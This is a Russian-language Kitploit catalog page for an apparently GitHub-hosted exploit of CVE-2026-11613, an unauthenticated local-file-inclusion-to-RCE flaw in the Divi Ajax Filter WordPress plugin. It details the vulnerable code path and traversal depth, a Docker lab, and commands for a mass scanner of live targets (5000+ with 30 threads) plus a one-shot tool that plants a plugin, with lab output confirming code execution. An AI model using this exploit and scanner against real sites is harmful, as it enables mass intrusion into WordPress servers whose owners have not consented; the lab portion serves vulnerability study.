Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-11613 — Divi Ajax Filter <= 5.1.2 Неаутентифицированное включение локального файла через 'custom_loop_template' | Kitploit
Инструменты/GitHubGitHub/wayang1337/cve-2026-11613
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийВеб-безопасностьТестирование на ПроникновениеЛаборатории и Практика
GitHubwayang1337/cve-2026-11613

CVE-2026-11613

Divi Ajax Filter <= 5.1.2 Неаутентифицированное включение локального файла через 'custom_loop_template'

Репозиторий
6 ч 13 мин назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-11613 — Divi Ajax Filter <= 5.1.2 — Неаутентифицированный LFI -> RCE

ПлагинDivi Ajax Filter (Divi Engine, премиум — не в wordpress.org SVN)
Затронутывсе версии <= 5.1.2 (в лаборатории использовалась 3.1.8.4 из зеркала)
Исправлено5.1.3 (11/08/2026)
ТипCWE-98 — PHP Local File Inclusion, неаутентифицированный
CVSS9.8 Critical (AV:N/AC:L/PR:N/UI:N)
AdvisoryWordfence (автор: h0xilo), опубликовано 04/09/2026
Исходный кодпубличное зеркало: github.com/albertoformi/fr9z3i4pwxt3qx (сайт WP + плагин в includes/modules/divi-ajax-filter/)

Технический анализ (по коду зеркала v3.1.8.4)

  1. Публичный nonce — includes/modules/FilterPosts/FilterPosts.php:1759 создаёт wp_create_nonce('filter_object') и прикрепляет его через wp_localize_script (filter_ajax_object.security) к скрипту, подключаемому для ВСЕХ посетителей (wp_enqueue_scripts). Nonce не является преградой: каждый посетитель имеет его копию.
  2. Неаутентифицированная точка входа — filter_ajax.php:3406-3407 и loadmore_ajax.php:569-570 регистрируют обработчики с wp_ajax_nopriv_* (без входа в систему).
  3. Ввод без санитизации — filter_ajax.php:114-133 (loadmore: 73-91): $loop_var = json_decode(sanitize_text_field($_POST['loop_var'])), затем $custom_loop_template = $loop_var['custom_loop_template'] дословно — без basename(), без белого списка, без проверки realpath.
  4. Sink — filter_ajax.php:2871-2873 (loadmore: 344-346):
    root@kitploit:~
    if ($loop_templates == 'custom-template') {
        if (file_exists(get_stylesheet_directory() . '/divi-ajax-filter/loop-templates/' . $custom_loop_template)) {
            include(get_stylesheet_directory() . '/divi-ajax-filter/loop-templates/' . $custom_loop_template);
    
    Условие: запрос должен попасть в ветку не-WooCommerce ($posttype из JSON query свободен, без списка разрешённых) и запрос должен вернуть >= 1 пост.
  5. Глубина обхода — базовый каталог = <webroot>/wp-content/themes/<theme>/divi-ajax-filter/loop-templates/ → нужно ../../../../../ (5×), чтобы вернуться к webroot. ВАЖНОЕ ПРИМЕЧАНИЕ: file_exists()/include() молча завершаются с ошибкой, если компонент префиксного пути не существует — каталог divi-ajax-filter/loop-templates/ внутри темы должен существовать (это документированная плагином структура custom-template, поэтому она обычно есть на сайтах, использующих эту функцию; без этого каталога обход эффективно блокируется).
  6. RCE — если атакующий может разместить .php на сервере (загрузка пользователем с ролью author, нестрогая конфигурация загрузки, другой плагин), включение загруженного файла = выполнение кода.

Структура каталогов

root@kitploit:~
cve-2026-11613/
├── poc_http.py                  # PoC + живой массовый сканер (один файл)
├── divi-ajax-filter-3.1.8.4.zip # плагин, готовый к установке (загрузка через WP admin / Plugins > Add New)
├── README.md
├── mirror-site/                 # клон github albertoformi/fr9z3i4pwxt3qx
│   └── includes/modules/divi-ajax-filter/   # плагин v3.1.8.4 (затронут)
└── lab/
    ├── docker-compose.yml       # WP 6.5 + MariaDB, порт 8099
    ├── setup.sh                 # копирование плагина + compose up
    ├── install_wp.sh            # установка WP + проверка
    └── wp-content/
        ├── mu-plugins/
        │   ├── zz-divi-shim.php        # шим DiviExtension/ET_Builder_* (только для лаборатории)
        │   └── zz-activate-daf.php     # автоактивация плагина
        ├── plugins/divi-ajax-filter/   # уязвимый плагин (монтируется в контейнер)
        └── uploads/poc-rce.php         # имитация "загруженного" payload (exit в конце)

Запуск лаборатории

root@kitploit:~
bash lab/setup.sh        # копирование плагина + docker compose up (порт 8099)
bash lab/install_wp.sh   # установка WP (admin / LabPass!2026)
# добавить структуру темы, необходимую для обхода:
docker exec lab-wp-1 mkdir -p /var/www/html/wp-content/themes/twentytwentyfour/divi-ajax-filter/loop-templates
# создать 2 примера постов (один раз):
docker run --rm --volumes-from lab-wp-1 --network lab_default \
  -e WORDPRESS_DB_HOST=db -e WORDPRESS_DB_USER=wordpress \
  -e WORDPRESS_DB_PASSWORD=wordpress -e WORDPRESS_DB_NAME=wordpress \
  wordpress:cli wp post create --post_title="Lab Post 1" --post_status=publish

PoC / Живой сканер (без режима — все цели обрабатываются как живые)

root@kitploit:~
python poc_http.py target.com                       # автоматически http://
python poc_http.py https://target.com domain2.com   # несколько целей
python poc_http.py --list targets.txt --threads 30  # массовое сканирование 5000+
python poc_http.py --list targets.txt --fast        # лёгкий sweep 2 req/цель
python poc_http.py target.com --upload-name sh.php --upload-marker MYPWNED  # этап RCE
  • Домен без схемы автоматически становится http://; автоматическая дедупликация; результаты сразу инкрементально записываются в results_cve-2026-11613.csv (безопасно при Ctrl-C, частичные результаты сохраняются).
  • Статус по каждой цели: VULN: LFI / VULN: LFI+RCE (зелёный), not-confirmed (жёлтый), NO-NONCE / NO-PLUGIN (голубой), UNREACHABLE / ERROR (красный).
  • --no-color / env NO_COLOR для вывода без цветов; цвета автоматически отключаются при перенаправлении вывода.
  • Код выхода: 0 = есть уязвимая цель, 1 = нет, 130 = прервано.

WayangXploit — one-shot (внедрение canary + автоматическая проверка RCE)

root@kitploit:~
python wayang.py <site> <wp-user> <wp-pass>

Одна команда: вход → внедрение canary WayangXploit (маленький неактивный плагин, только PoC: выводит marker+uid+uname и завершается, не webshell, без параметров cmd) → проверка → sweep LFI без аутентификации → вердикт RCE. Авто: https-upgrade, SSL bypass, POST с сохранением редиректов. Очистка: удаление плагина "WayangXploit Canary" + "Divi Compat Shim" в wp-admin после теста.

poc_http.py теперь по умолчанию использует --upload-marker WayangXploit-RCE-CONFIRMED (поэтому достаточно --upload-rel / --upload-name).

Результаты проверки лаборатории (реальные, из HTTP response)

root@kitploit:~
[+] LFI: action=divi_filter_ajax_handler depth=5: included xmlrpc.php EXECUTED (marker 'methodResponse')
[+] RCE: action=divi_filter_ajax_handler depth=5: included wp-content/uploads/poc-rce.php EXECUTED
VERDICT: VULNERABLE - RCE confirmed
evidence: CVE-2026-11613-RCE-CONFIRMED | uid=33 user=www-data | uname=Linux ... 6.18.33.2-microsoft-standard-WSL2

Условия эксплуатации на живых целях (проверяются live_scan.py):

  1. Плагин Divi Ajax Filter <= 5.1.2 активен (recon: прямой доступ к основному файлу плагина).
  2. Nonce filter_object раскрыт на публичной странице (скрипт модуля подключён).
  3. Существует <theme>/divi-ajax-filter/loop-templates/ (обход с префиксом требует этого).
  4. Для RCE: есть доступный атакующему файл .php (например, результат загрузки) — только LFI также имеет воздействие (раскрытие информации / обход аутентификации для любого файла .php).
Скачать инструмент